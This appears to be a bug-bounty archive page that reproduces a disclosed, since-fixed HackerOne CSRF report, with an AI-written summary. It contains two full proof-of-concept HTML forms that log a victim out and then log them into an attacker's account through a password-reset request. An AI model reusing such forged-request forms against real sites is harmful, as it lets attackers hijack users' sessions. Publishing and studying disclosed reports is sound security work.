Skip to content
CSRF Disclosed report Intermediate

Switching the user to the attacker's account

The report shows two cross-site POST requests: one signs the user out, one resets the password using a reset token, which could switch the user to the attacker's account.

dawidczagan Follow

Originally disclosed on HackerOne

Bounty$150 View original
  • Triaged in 13 hours
  • Fixed in 5 days
  • Paid in 5 days
  • Disclosed after 35 days

Two requests are needed to make it happen.

Request1 (log out the user):

<html> <body> <form action="https://hackerone.com/users/sign_out" method="POST"> <input type="hidden" name="&#95;method" value="delete" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Request2 (log in the user to the attacker's account):

<html> <body> <form action="https://hackerone.com/users/password" method="POST"> <input type="hidden" name="utf8" value="â&#156;&#147;" /> <input type="hidden" name="&#95;method" value="put" /> <input type="hidden" name="user&#91;reset&#95;password&#95;token&#93;" value="ENTER_HERE_RESET_PASSWORD_TOKEN_FROM_MAIL" /> <input type="hidden" name="user&#91;password&#93;" value="ENTER_HERE_NEW_PASSWORD" /> <input type="hidden" name="user&#91;password&#95;confirmation&#93;" value="ENTER_HERE_NEW_PASSWORD" /> <input type="hidden" name="commit" value="Change&#32;password" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Please let me know if more detailed description is needed.

Regards, Dawid Czagan

The original report as published on HackerOne, by dawidczagan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Attacker has a reset token

How it was found

  1. The attacker creates a page with a form that sends a POST request to the sign-out endpoint.
  2. The attacker creates a second form that sends a POST request to the password reset endpoint with a reset token and new password.
  3. The two requests are made in sequence.
  4. The victim is logged out and then logged into the attacker's account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes two requests: one logs the user out, the second uses a reset token and new password to log them into the attacker's account.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by dawidczagan

View all

9 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.